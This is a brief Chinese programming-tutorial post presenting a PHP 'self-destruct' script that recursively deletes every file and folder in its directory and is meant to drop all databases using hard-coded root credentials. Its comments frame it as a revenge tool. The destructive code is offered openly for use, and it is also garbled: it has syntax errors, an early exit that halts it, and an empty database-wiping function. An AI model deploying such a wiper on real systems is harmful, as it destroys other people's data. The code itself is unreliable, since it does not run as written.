本文執行個體講述了PHP自毀程式。分享給大家供大家參考。具體實現方法如下:
<?php// +----------------------------------------------------------------------// | Kill!!// | 程式將清除本目錄所有檔案、目錄// | 如果設定了資料庫資訊,則嘗試刪除所有資料庫和表資料(前提是許可權要夠!)// +----------------------------------------------------------------------// | Version: $Id$// +---------------------------------------------------------------------- //----------資料庫配置地區-----------------//複仇的力量是很可怕的,所以無需指定資料庫,全刪!define('DB_USER', 'root');define('DB_PWD', 'root');define('DB_HOST', 'localhost');define('DB_PORT', '3216');define('DB_DAMAGE', true); //為false時,不碰資料庫run();/** * 主體思想必須光輝偉大! * * @return void **/function run(){ //刪除檔案 deletedir(); //刪除資料庫 deleteDB();}/** * 呵呵呵,刪除目前的目錄所有檔案(遞迴) * * @return void **/function deletedir($dir = ''){ if ($dir == '') { $dir = realpath('.'); } echo $dir; exit(); if(!handle=@opendir($dir)){ //檢測要開啟目錄是否存在 die("沒有該目錄"); } while(false !==($file=readdir($handle))){ if($file!=="."&&$file!==".."){ //排除目前的目錄與父級目錄 $file=$dir .DIRECTORY_SEPARATOR. $file; if(is_dir($file)){ deletedir($file); }else{ if(@unlink($file)){ echo "檔案<b>$file</b>刪除成功。<br>"; }else{ echo "檔案<b>$file</b>刪除失敗!<br>"; } } } if(@rmdir($dir)){ echo "目錄<b>$dir</b>刪除成功了。<br>\n"; }else{ echo "目錄<b>$dir</b>刪除失敗!<br>\n"; } }/** * 呵呵呵,刪除資料庫 * * @return void **/function deleteDB(){ if(DB_DAMAGE === true){ //start }}
希望本文所述對大家的php程式設計有所協助。